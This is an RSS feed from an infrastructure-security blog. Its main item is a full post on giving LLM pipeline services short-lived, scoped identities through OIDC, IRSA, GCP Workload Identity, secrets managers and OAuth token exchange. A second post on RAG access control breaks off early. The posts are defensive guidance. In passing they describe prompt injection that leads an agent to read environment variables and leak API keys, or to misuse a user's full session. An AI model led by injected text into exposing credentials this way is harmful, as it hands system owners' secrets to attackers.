<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IAM Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/iam/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/iam/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Tue, 07 Jul 2026 03:03:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>IAM Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/iam/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>OIDC and Workload Identity for LLM Pipelines</title>
		<link>https://linuxcent.com/oidc-workload-identity-llm-pipeline/</link>
					<comments>https://linuxcent.com/oidc-workload-identity-llm-pipeline/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 13 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[AWS IRSA]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[LLM Security]]></category>
		<category><![CDATA[OIDC]]></category>
		<category><![CDATA[Workload Identity]]></category>
		<category><![CDATA[Zero Trust]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1911</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>OIDC workload identity for LLM pipelines: how to give each service in a RAG architecture its own bounded, short-lived identity — and eliminate static keys from AI workloads.</p>
<p>The post <a href="https://linuxcent.com/oidc-workload-identity-llm-pipeline/">OIDC and Workload Identity for LLM Pipelines</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> → <a href="/rag-access-control-vector-database-iam/">RAG Access Control</a> → <strong>OIDC and Workload Identity for LLM Pipelines</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>OIDC workload identity</strong> solved the static-key problem for cloud-native workloads; the same patterns apply directly to LLM pipelines — but most teams building RAG systems aren&#8217;t applying them</li>
<li>A typical LLM pipeline has 4–6 distinct services (embedding, retrieval, generation, tool execution, orchestration, monitoring) — each should have its own bounded identity with short-lived tokens</li>
<li>Static API keys in environment variables are the single most common credential anti-pattern in AI deployments today; they are long-lived, hard to rotate, and not scoped to a single service</li>
<li>The OIDC pattern: the inference workload proves its identity to a cloud OIDC provider and exchanges a short-lived identity token for a scoped access token — no static credential ever exists in the environment</li>
<li>For LLM tool integrations (agents calling external APIs), OAuth 2.0 device authorization and token exchange patterns scope what the agent can do on behalf of a user — the agent should never hold the user&#8217;s full credentials</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> OWASP LLM03 — Supply Chain. Static credentials in LLM pipeline services are supply chain vulnerabilities: they can be exfiltrated via prompt injection, leaked via LLM02 (Sensitive Information Disclosure), or extracted from container images. Workload identity removes the credential from the attack surface entirely.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">OIDC WORKLOAD IDENTITY FOR A RAG PIPELINE

Without OIDC (common today)            With OIDC (what it should be)
─────────────────────────────────────────────────────────────────────

┌─────────────────────┐               ┌─────────────────────────────┐
│  K8s Pod            │               │  K8s Pod                    │
│  ┌───────────────┐  │               │  ┌──────────────────────┐   │
│  │ Generation    │  │               │  │ Generation Service   │   │
│  │ Service       │  │               │  │                      │   │
│  │               │  │               │  │ OIDC token (auto)    │   │
│  │ API_KEY=sk-.. │  │               │  │ → exchange for:      │   │
│  │ DB_PASS=xxx   │  │               │  │   LLM API: invoke    │   │
│  │ VDB_TOKEN=yyy │  │               │  │   (scoped, 1hr TTL)  │   │
│  └───────────────┘  │               │  └──────────────────────┘   │
└─────────────────────┘               └─────────────────────────────┘
         │                                          │
Static keys in env vars:               No static keys in environment:
- Long-lived (months/years)            - OIDC assertion from pod SA
- Not scoped to one service            - Exchanged for short-lived token
- Visible in process env               - Scoped to this service&#039;s actions
- Exfiltrable via prompt injection     - Not present if workload is absent
- Shared across environments           - Separate identity per environment
</code></pre>
<p><strong>OIDC workload identity</strong> is the pattern that eliminated static instance credentials from well-run cloud deployments. It works the same way for LLM pipeline services — and most of the infrastructure to support it already exists in every major cloud platform.</p>
<hr />
<h2 id="why-llm-pipelines-have-a-worse-static-key-problem">Why LLM Pipelines Have a Worse Static Key Problem</h2>
<p>Cloud-native workloads standardized on workload identity over the last five years, but the teams building LLM pipelines in 2024–2025 were often moving fast — data scientists, ML engineers, product engineers — not the same people who spent years cleaning up IAM in cloud infrastructure.</p>
<p>The result is a category of deployments that looks modern (Kubernetes, managed LLM APIs, vector databases) but runs on credentials hygiene from 2016:</p>
<ul>
<li>OpenAI/Anthropic/Bedrock API key in a Kubernetes secret, synced to an environment variable, unchanged since the pilot</li>
<li>Pinecone/Weaviate token in the same pattern</li>
<li>Database password for the metadata store sitting in a ConfigMap</li>
<li>No credential rotation because the system works and rotation requires downtime planning</li>
</ul>
<p>This is not a failure of intent. It&#8217;s a failure of infrastructure readiness: the workload identity patterns that exist for S3 and DynamoDB don&#8217;t have equivalents that are obvious for OpenAI API calls or third-party vector store APIs. The path of least resistance is a static key.</p>
<p>But the attack surface created by static keys in LLM workloads is significantly worse than in traditional cloud workloads, for one reason: <strong>prompt injection can exfiltrate credentials from the runtime environment</strong>.</p>
<p>If your LLM generation service runs with <code class="" data-line="">OPENAI_API_KEY</code> and <code class="" data-line="">DATABASE_URL</code> in its environment, and an attacker can inject a prompt that causes the model to execute a tool call that reads environment variables, those credentials are exposed. The static key that took a year to rotate is now in the attacker&#8217;s hands in a single request.</p>
<hr />
<h2 id="the-four-services-that-need-separate-identities">The Four Services That Need Separate Identities</h2>
<p>A production RAG pipeline typically has these services. Each needs its own identity — not one shared service account.</p>
<pre><code class="" data-line="">┌──────────────────────────────────────────────────────────────────┐
│  RAG PIPELINE — SERVICE IDENTITY MAP                             │
│                                                                  │
│  ┌─────────────────┐   identity: embed-sa                        │
│  │ Embedding       │   permissions:                              │
│  │ Service         │     - vector_store: write (own namespace)   │
│  │                 │     - source_docs: read                     │
│  └────────┬────────┘                                             │
│           │ vectors                                              │
│           ▼                                                      │
│  ┌─────────────────┐   identity: vectordb-sa                     │
│  │ Vector          │   permissions:                              │
│  │ Database        │     - internal service, accessed via API   │
│  └────────┬────────┘                                             │
│           │ filtered query                                       │
│           ▼                                                      │
│  ┌─────────────────┐   identity: retrieve-sa                     │
│  │ Retrieval       │   permissions:                              │
│  │ Service         │     - vector_store: read (user-scoped)      │
│  │                 │     - No LLM API access                     │
│  └────────┬────────┘                                             │
│           │ authorized chunks                                    │
│           ▼                                                      │
│  ┌─────────────────┐   identity: generate-sa                     │
│  │ Generation      │   permissions:                              │
│  │ Service         │     - llm_api: invoke                       │
│  │                 │     - No vector store access                │
│  └────────┬────────┘     - No source_docs access                 │
│           │ prompt + context                                     │
│           ▼                                                      │
│  ┌─────────────────┐   identity: tools-sa                        │
│  │ Tool Execution  │   permissions:                              │
│  │ Layer           │     - per-tool, per-action scoping          │
│  │                 │     - human gate for write operations        │
│  └─────────────────┘                                             │
└──────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Why this separation matters:</strong><br />
If the generation service is compromised (prompt injection), the attacker has LLM API invocation rights — they can burn your API budget. They cannot read the vector store, because the generation service has no access to it. They cannot read source documents. They cannot write to the vector database. The blast radius is bounded.</p>
<p>If the retrieval service is compromised, the attacker gets query access to the vector store, scoped to the user context that was being served. They cannot write to it, cannot reach the LLM API, cannot access source documents.</p>
<p>This is the same principle that makes micro-segmentation effective in network security. The breach happens; you contain what the breach can reach.</p>
<hr />
<h2 id="implementing-oidc-aws-gcp-and-kubernetes">Implementing OIDC: AWS, GCP, and Kubernetes</h2>
<h3 id="aws-iam-roles-for-service-accounts-irsa">AWS: IAM Roles for Service Accounts (IRSA)</h3>
<p>For LLM services running on EKS, IRSA is the standard pattern. The pod gets a Kubernetes service account that is annotated with an IAM role ARN. The pod&#8217;s credential chain automatically exchanges the OIDC token from the pod&#8217;s projected service account volume for a short-lived AWS STS credential.</p>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: llm-generate-sa
  namespace: llm-prod
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789:role/llm-generate-prod
</code></pre>
<pre><code class="" data-line="">// IAM role trust policy — only this specific K8s SA can assume it
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;Federated&quot;: &quot;arn:aws:iam::123456789:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/XXXX&quot;
    },
    &quot;Action&quot;: &quot;sts:AssumeRoleWithWebIdentity&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: {
        &quot;oidc.eks.us-east-1.amazonaws.com/id/XXXX:sub&quot;: &quot;system:serviceaccount:llm-prod:llm-generate-sa&quot;
      }
    }
  }]
}
</code></pre>
<pre><code class="" data-line="">// IAM policy — scoped to only what the generation service needs
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;bedrock:InvokeModel&quot;],
    &quot;Resource&quot;: &quot;arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-3-5-sonnet*&quot;
  }]
}
</code></pre>
<p>No static key. The pod proves its identity via the OIDC token from the Kubernetes projected volume. The token has a 1-hour TTL and is bound to this specific service account in this specific namespace in this specific cluster.</p>
<h3 id="gcp-workload-identity-federation">GCP: Workload Identity Federation</h3>
<p>For GCP workloads on GKE:</p>
<pre><code class="" data-line=""># K8s service account bound to a GCP service account
apiVersion: v1
kind: ServiceAccount
metadata:
  name: llm-retrieve-sa
  namespace: llm-prod
  annotations:
    iam.gke.io/gcp-service-account: llm-retrieve-sa@my-project.iam.gserviceaccount.com
</code></pre>
<pre><code class="" data-line=""># Bind K8s SA to GCP SA
gcloud iam service-accounts add-iam-policy-binding \
  llm-retrieve-sa@my-project.iam.gserviceaccount.com \
  --role roles/iam.workloadIdentityUser \
  --member &quot;serviceAccount:my-project.svc.id.goog[llm-prod/llm-retrieve-sa]&quot;

# Grant the GCP SA only what the retrieval service needs
gcloud projects add-iam-policy-binding my-project \
  --role roles/datastore.viewer \
  --member &quot;serviceAccount:llm-retrieve-sa@my-project.iam.gserviceaccount.com&quot;
</code></pre>
<h3 id="third-party-apis-the-gap-that-still-needs-static-keys">Third-Party APIs: The Gap That Still Needs Static Keys</h3>
<p>OIDC works cleanly for cloud provider resources. For third-party LLM APIs (OpenAI, Anthropic) and third-party vector stores (Pinecone, Weaviate), there is currently no OIDC exchange — those providers do not accept cloud-native OIDC tokens.</p>
<p>For these cases, the correct pattern is:</p>
<ol>
<li><strong>Store in a secrets manager, not environment variables</strong> — AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault</li>
<li><strong>Inject at runtime via the secrets manager API</strong>, not via environment variables</li>
<li><strong>Scope the IAM permission to read the specific secret</strong> to the relevant service account only</li>
<li><strong>Set a rotation schedule</strong> — 90 days maximum, 30 days preferred</li>
<li><strong>Use separate API keys per service</strong> — the generation service and the embedding service should have different API keys with different usage quotas</li>
</ol>
<pre><code class="" data-line=""># Retrieve API key at runtime from secrets manager — not from env vars
import boto3

def get_llm_api_key(secret_name: str, region: str = &quot;us-east-1&quot;) -&gt; str:
    client = boto3.client(&quot;secretsmanager&quot;, region_name=region)
    # boto3 uses the pod&#039;s IRSA role — no static credential needed to call Secrets Manager
    response = client.get_secret_value(SecretId=secret_name)
    return response[&quot;SecretString&quot;]

llm_client = Anthropic(api_key=get_llm_api_key(&quot;llm-prod/anthropic-api-key&quot;))
</code></pre>
<p>The IAM credential (IRSA) accesses Secrets Manager; Secrets Manager holds the third-party API key. One layer of OIDC-based identity; one layer of secrets management. No static key in the environment.</p>
<hr />
<h2 id="agent-level-identity-when-the-ai-calls-your-apis">Agent-Level Identity: When the AI Calls Your APIs</h2>
<p>Agents that call tools are a distinct identity problem from services that call LLM APIs. When an agent calls an internal API on behalf of a user, it needs to be clear:</p>
<ol>
<li><strong>Which identity is making the call</strong> — the agent&#8217;s service identity, or the user&#8217;s delegated identity?</li>
<li><strong>What scope the agent has</strong> — can it call any API the user can call, or only the APIs the agent was designed to use?</li>
</ol>
<p>The correct model is <strong>delegated authorization, not impersonation</strong>. The agent should receive a narrowly-scoped token representing the user&#8217;s consent to specific actions, not the user&#8217;s full credentials.</p>
<pre><code class="" data-line="">WRONG: Agent uses user&#039;s session token
  User logs in → agent receives user&#039;s session cookie
  Agent can call any API the user can call
  Prompt injection = full user account compromise

RIGHT: Agent uses delegated, scoped token
  User authorizes agent for specific actions
  Agent receives token with limited scope:
    - read:documents (user&#039;s own documents only)
    - write:calendar (only create events, not delete)
  Agent cannot call billing API, admin API, etc.
  Prompt injection = limited to authorized scope
</code></pre>
<p>OAuth 2.0 token exchange (RFC 8693) formalizes this pattern. The user authenticates and consents to specific scopes; those scopes are encoded in a token issued specifically for the agent. The agent presents this token to downstream services; those services verify the scope before accepting the request.</p>
<pre><code class="" data-line=""># OAuth 2.0 token exchange: user token → agent-scoped token
def exchange_for_agent_token(user_token: str, agent_id: str, requested_scopes: list) -&gt; str:
    response = requests.post(
        &quot;https://auth.internal/oauth/token&quot;,
        data={
            &quot;grant_type&quot;: &quot;urn:ietf:params:oauth:grant-type:token-exchange&quot;,
            &quot;subject_token&quot;: user_token,
            &quot;subject_token_type&quot;: &quot;urn:ietf:params:oauth:token-type:access_token&quot;,
            &quot;requested_token_type&quot;: &quot;urn:ietf:params:oauth:token-type:access_token&quot;,
            &quot;scope&quot;: &quot; &quot;.join(requested_scopes),
            &quot;actor_token&quot;: agent_id,
        }
    )
    return response.json()[&quot;access_token&quot;]

# The agent gets a token scoped only to what it needs
agent_token = exchange_for_agent_token(
    user_token=current_user.session_token,
    agent_id=&quot;doc-summarizer-v2&quot;,
    requested_scopes=[&quot;read:own_documents&quot;, &quot;read:shared_documents&quot;]
)
</code></pre>
<p>The downstream APIs see a token with explicit scope. They don&#8217;t need to know whether the caller is a human or an agent — they check the scope. The agent cannot call APIs outside its declared scope, regardless of what a prompt injection instructs it to do.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>IRSA/Workload Identity breaks when pods share a service account</strong><br />
If multiple pods share the same Kubernetes service account, they all get the same IAM role. A compromised embedding service pod now has the retrieval service&#8217;s permissions too. One service account per deployment, no exceptions.</p>
<p><strong>Secrets Manager still needs rotation automation</strong><br />
Moving from environment variables to Secrets Manager removes static keys from the container environment — it does not automatically rotate them. Rotation requires: a Lambda function (or Cloud Run job) that calls the third-party API to generate a new key, stores it in Secrets Manager, and invalidates the old one. Most third-party LLM providers now support API key rotation without downtime. Build the rotation automation at the same time you build the Secrets Manager integration, not as a follow-up task.</p>
<p><strong>OIDC token audience must be validated</strong><br />
When you accept OIDC tokens from Kubernetes, validate the <code class="" data-line="">aud</code> (audience) claim. A token issued for one service should not be accepted by another. Without audience validation, a compromised service can present its own token to other services and receive their resources.</p>
<p><strong>The agent token scope must match what you&#8217;ve tested</strong><br />
If you scope the agent token to <code class="" data-line="">read:documents</code> but your integration test used a full admin token, you will find scope failures in production. Test with scoped tokens in staging. The first time you discover a missing scope should not be during a production incident.</p>
<hr />
<h2 id="quick-reference-credential-pattern-by-service-type">Quick Reference: Credential Pattern by Service Type</h2>
<table>
<thead>
<tr>
<th>Service</th>
<th>Static Key</th>
<th>Secrets Manager</th>
<th>OIDC / Workload Identity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cloud provider API (S3, GCS, BigQuery)</td>
<td>Never</td>
<td>Not needed</td>
<td>Use OIDC directly</td>
</tr>
<tr>
<td>Third-party LLM API (OpenAI, Anthropic)</td>
<td>Avoid</td>
<td>Use Secrets Manager + OIDC to access it</td>
<td>Not supported by provider</td>
</tr>
<tr>
<td>Third-party vector store (Pinecone)</td>
<td>Avoid</td>
<td>Use Secrets Manager + OIDC to access it</td>
<td>Not supported by provider</td>
</tr>
<tr>
<td>Internal database</td>
<td>Never</td>
<td>Use Secrets Manager + OIDC to access it</td>
<td>DB supports IAM auth (Postgres IAM, Cloud SQL IAM)</td>
</tr>
<tr>
<td>Internal API</td>
<td>Never</td>
<td>Not needed</td>
<td>OIDC service-to-service tokens</td>
</tr>
<tr>
<td>Agent calling user-scoped API</td>
<td>Never</td>
<td>Not applicable</td>
<td>OAuth 2.0 token exchange (user-delegated)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP LLM03</td>
<td>Supply Chain</td>
<td>Static credentials are a supply chain risk; workload identity removes them</td>
</tr>
<tr>
<td>OWASP LLM06</td>
<td>Excessive Agency</td>
<td>Token exchange scoping limits agent authority to declared actions</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.16 Identity management</td>
<td>Non-human identity lifecycle: creation, rotation, revocation</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.24 Use of cryptography</td>
<td>Short-lived OIDC tokens preferred over long-lived symmetric keys</td>
</tr>
<tr>
<td>NIST SP 800-207</td>
<td>Zero Trust Architecture</td>
<td>No implicit trust from network location; identity-based access for every service</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1 Logical access controls</td>
<td>Workload identity is the technical control that makes service account lifecycle auditable</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>LLM pipeline services need separate service accounts the same way Lambda functions and Kubernetes workloads do — the multi-year lesson from cloud-native IAM applies directly to AI pipelines</li>
<li>OIDC/workload identity eliminates static keys for cloud provider API calls; third-party APIs (OpenAI, Pinecone) still need secrets management — the difference is where the credential lives, not whether one exists</li>
<li>One Kubernetes service account per deployment; validate OIDC token audience; build rotation automation at the same time as secrets manager integration</li>
<li>Agents calling user-scoped APIs should use OAuth 2.0 token exchange, not user session tokens — the agent gets a scoped, delegated token, not the user&#8217;s full credentials</li>
<li>The blast radius of prompt injection is bounded by the compromised service&#8217;s identity scope; over-provisioned pipeline service accounts turn every injection into a data breach</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP01 and EP02 covered the agent as a credential holder. EP03 covered the pipeline services that surround it. EP04 covers the interaction between prompt injection and IAM — specifically, how a successful injection becomes an IAM attack when the agent&#8217;s permissions are broader than its function requires. The attacker doesn&#8217;t need to compromise the credential store. They use the agent&#8217;s valid credentials as a proxy.</p>
<p><a href="/prompt-injection-iam-abuse/">When Prompt Injection Becomes IAM Abuse →</a></p>
<p>Get EP04 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&amp;linkname=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Foidc-workload-identity-llm-pipeline%2F&#038;title=OIDC%20and%20Workload%20Identity%20for%20LLM%20Pipelines" data-a2a-url="https://linuxcent.com/oidc-workload-identity-llm-pipeline/" data-a2a-title="OIDC and Workload Identity for LLM Pipelines"></a></p><p>The post <a href="https://linuxcent.com/oidc-workload-identity-llm-pipeline/">OIDC and Workload Identity for LLM Pipelines</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/oidc-workload-identity-llm-pipeline/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1911</post-id>	</item>
		<item>
		<title>RAG Access Control: The IAM Layer Your Vector Database Doesn&#8217;t Have</title>
		<link>https://linuxcent.com/rag-access-control-vector-database-iam/</link>
					<comments>https://linuxcent.com/rag-access-control-vector-database-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 11 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[Access Control]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[LLM08]]></category>
		<category><![CDATA[OWASP LLM Top 10]]></category>
		<category><![CDATA[RAG Security]]></category>
		<category><![CDATA[Vector Database]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1908</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>RAG access control: most vector databases ship with no document-level permissions. Here is how User A's data ends up in User B's context — and the IAM layer that fixes it.</p>
<p>The post <a href="https://linuxcent.com/rag-access-control-vector-database-iam/">RAG Access Control: The IAM Layer Your Vector Database Doesn&#8217;t Have</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
